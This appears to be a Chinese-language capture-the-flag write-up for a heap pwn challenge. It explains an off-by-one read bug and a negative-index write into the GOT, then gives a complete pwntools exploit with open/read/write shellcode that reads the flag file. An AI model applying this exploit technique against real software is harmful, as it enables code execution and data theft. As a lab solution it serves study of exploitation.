题目

开了沙盒
开了PIE Canary,没开nx

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 sub_E44()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]

if ( qword_202130 <= 1 )
{
puts("index:");
v1 = read_int();
puts("size:");
v2 = read_int();
if ( v2 >= 0 && v2 <= 8 && v1 <= 1 )
{
qword_2020E0[v1] = malloc(v2);
if ( !qword_2020E0[v1] )
{
puts("error");
exit(0);
}
puts("content:");
read_content(qword_2020E0[v1], v2);
++qword_202130;
}
}
return qword_202130;
}

只能进行两次add操作
index输入负数可以向上输入,根据index写入malloc到的指针

注意到size可以为0
而在read_content中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall read_content(_BYTE *a1, __int64 a2)
{
_BYTE *buf; // [rsp+8h] [rbp-18h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

buf = a1;
v4 = 0;
while ( 1 )
{
read(0, buf, 1uLL);
++v4;
if ( *buf == 10 )
break;
if ( ++buf == &a1[a2] )
return v4;
}
*buf = 0;
return v4;
}

其中如果输入空格退出
或者输入地址与达到边界时退出
这次每次循环时地址递增的指令是++buf
会先加再进行判断

假如输入的size是0,由于先++再判断就会导致溢出
可以利用这一点直接输入orw的shellcode
然后输入负数的index让指针填入got表函数
再执行该函数从而执行shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./pwn')

def cmd1(n):
r.sendlineafter('>>', str(n))

def cmd2(n):
r.sendlineafter(':', str(n))

def cmd3(content):
r.sendafter('content:', content)

def add(idx, size, content):
cmd1(1)
cmd2(idx)
cmd2(size)
cmd3(content)

shellcode = '''
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, rbp
mov rdx, 0x25
syscall
mov rax, 1
mov rdi, 1
mov rsi, rbp
mov rdx,0x25
syscall
'''

add(-25, 0, asm(shellcode)+'\n')
cmd1(4)
cmd2(0)


#gdb.attach(r)
r.interactive()